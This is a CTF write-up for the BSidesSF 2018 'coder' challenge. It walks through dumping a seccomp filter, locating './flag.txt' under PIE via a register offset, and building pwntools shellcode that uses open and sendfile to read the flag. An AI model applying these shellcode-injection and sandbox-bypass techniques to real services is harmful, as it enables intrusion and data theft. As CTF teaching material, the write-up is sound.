This challenge was like a "baby's first" x86 challenge, with a couple small twists.
First if we run it we can get a segfault quickly (looks like it will just run our shellcode):
$ ./coder [+] It's 2018, so we run everything in the cloud. [+] And I mean everything -- even our shellcode testing service. [+] Perhaps you'd like to test your shellcode? [+] Please send the length of your shellcode followed by a newline. 4 [+] OK, please send the shellcode. AAAA [+] Setting up sandbox. [1] 6014 segmentation fault (core dumped) ./coder
The statement "Setting up sandbox." sounds interesting, we should probably investigate that.
Looking for this string in Binary Ninja and finding the relevant Xrefs in main we find a function right underneath the print:
This binary is stripped so we don't get a nice name for sandbox setup, we can rename sub_2200a in Binary Ninja by clicking it, hitting 'n' and typing a new symbol name, such as 'setup-sandbox'.
Looking at this function we can see what's familiar to seccomp setup. Another post covering seccomp on a binary is mute, using this as a reference we can rename the other unlabeled functions such as 'seccomp_rule_add'. It looks very similar to mute where we can look up the arguments and syscalls being passed to seccomp, but there's something slightly more complicated below:
We could analyze this manually, but it would be a lot nicer to use seccomp-tools:
$ echo '1\nA\n' | seccomp-tools dump ./coder [+] It's 2018, so we run everything in the cloud. [+] And I mean everything -- even our shellcode testing service. [+] Perhaps you'd like to test your shellcode? [+] Please send the length of your shellcode followed by a newline. [+] OK, please send the shellcode. [+] Setting up sandbox. line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x0f 0x00 0x40000000 if (A >= 0x40000000) goto 0019 0004: 0x15 0x0d 0x00 0x00000003 if (A == close) goto 0018 0005: 0x15 0x0c 0x00 0x0000000f if (A == rt_sigreturn) goto 0018 0006: 0x15 0x0b 0x00 0x00000028 if (A == sendfile) goto 0018 0007: 0x15 0x0a 0x00 0x0000003c if (A == exit) goto 0018 0008: 0x15 0x09 0x00 0x000000e7 if (A == exit_group) goto 0018 0009: 0x15 0x00 0x09 0x00000002 if (A != open) goto 0019 0010: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32 0011: 0x15 0x00 0x07 0x00007f35 if (A != 0x7f35) goto 0019 0012: 0x20 0x00 0x00 0x00000010 A = args[0] 0013: 0x15 0x00 0x05 0x5e303428 if (A != 0x5e303428) goto 0019 0014: 0x20 0x00 0x00 0x0000001c A = args[1] >> 32 0015: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0019 0016: 0x20 0x00 0x00 0x00000018 A = args[1] 0017: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0019 0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0019: 0x06 0x00 0x00 0x00000000 return KILL
This clearly shows us the seccomp rules are setup to allow: close, rt_sigreturn, sendfile, exit, exit_group & open.
We have your typical ORW (open/read/write) restriction, where read & write is taken care of in the syscall sendfile.
Under line 0009 we can see it expects arguments for open to be set correctly. In the binary there's a mention of './flag.txt' @ 0x2b428, this is probably the argument the seccomp rule is referring to, but we can verify this by looking in Binary Ninja.
At the bottom of the image above, we see a reference to data_245110. Clicking that takes us to the data section referencing 0x2b428, which we just found was './flag.txt':
So now we know our shellcode should have the following constraints:
- 64 bit
- use open with the argument './flag.txt'
- use sendfile to read & write after open
This seems fairly simple! There's only one more catch.
We will need to get the exact address of './flag.txt' which is randomized because PIE is enabled:
$ checksec coder [*] './coder' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments FORTIFY: Enabled
We can setup a very simple client to check out the state of registers once it executes our shellcode:
#!/usr/bin/env python from pwn import * if args.LOCAL: p = process(['./coder']) else: p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086) context(terminal=['tmux', 'split'], bits=64, arch='amd64') gdb.attach(p, 'stepi') payload = '\xcc' * 10 payload = '{}\n{}\n'.format(len(payload), payload) p.sendline(payload) p.interactive()
Running this in a new tmux session with the LOCAL flag set, we can continue and hit the interrupt setup in the beginning of our payload:
$ python client.py LOCAL ... [──────────────────────────────────REGISTERS──────────────────────────────────] *RAX 0x7fc5de64f000 <— 0xcccccccccccccccc *RBX 0x0 *RCX 0x7fc5de652fe0 <— 0 *RDX 0x7fc5de449190 <— mov rsp, rsi *RDI 0x7fc5de64f000 <— 0xcccccccccccccccc *RSI 0x7fc5de652fe0 <— 0 *R8 0x7fc5df54e000 <— 0x0 *R9 0x7fc5df54e010 —▸ 0x7fc5df54e390 <— 0xd0 *R10 0x7fc5de1fb7b8 (main_arena+88) —▸ 0x7fc5df54ea10 <— 0x0 *R11 0x246 *R12 0x7fc5de4487d0 <— xor ebp, ebp *R13 0x7fffa312c570 <— 0x1 *R14 0x0 *R15 0x0 *RBP 0x7fffa312c490 <— 0x0 *RSP 0x7fc5de652fe0 <— 0 *RIP 0x7fc5de64f001 <— 0xcccccccccccccccc [───────────────────────────────────DISASM────────────────────────────────────] 0x7fc5de64f000 int3 ► 0x7fc5de64f001 int3
The assembly instructions in RDX look very familiar from previous reversing. Looking at the positive flow after the seccomp rules are setup, this function is called:
We can verify the next instruction of RDX is 'jmp rdi' as well:
pwndbg> x/2i 0x7fc5de449190 0x7fc5de449190: mov rsp,rsi 0x7fc5de449193: jmp rdi
Remember the flag was @ 0x2b428. Subtracting this from the offset of the instruction above to get the required amount to add to RDX:
pwndbg> p/x 0x2b428 - 0x22190 $1 = 0x9298 pwndbg> x/s $rdx + 0x9298 0x7fc5de452428: "./flag.txt"
Now we can write a small amount of assembly to take care of this before we reach the open syscall:
add rdx, 0x9298 mov rax, rdx
Using shellcraft from pwntools will be very useful in this situation to generate custom shellcode:
o = pwnlib.shellcraft.open('rax', 0) s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)
This executes open using the address of './flag.txt' we loaded into RAX, setting the oflag to 0 or O_RDONLY for a read-only mode. Then it executes sendfile writing to stdout (1), using the address returned from open (RAX), the offset into the string (0), and the amount of bytes to read.
Putting this all together we get a client that looks something like this:
Running this client against the CTF server, we get a flag!
$ python client.py NOPTRACE flag:i_can_haz_shellcodez
If you'd like to read more about the coder series of binaries for BSidesSF 2018, check out @matir's excellent post! - https://systemoverlord.com/2018/04/21/bsidessf-ctf-2018-coder-series-authors-pov.html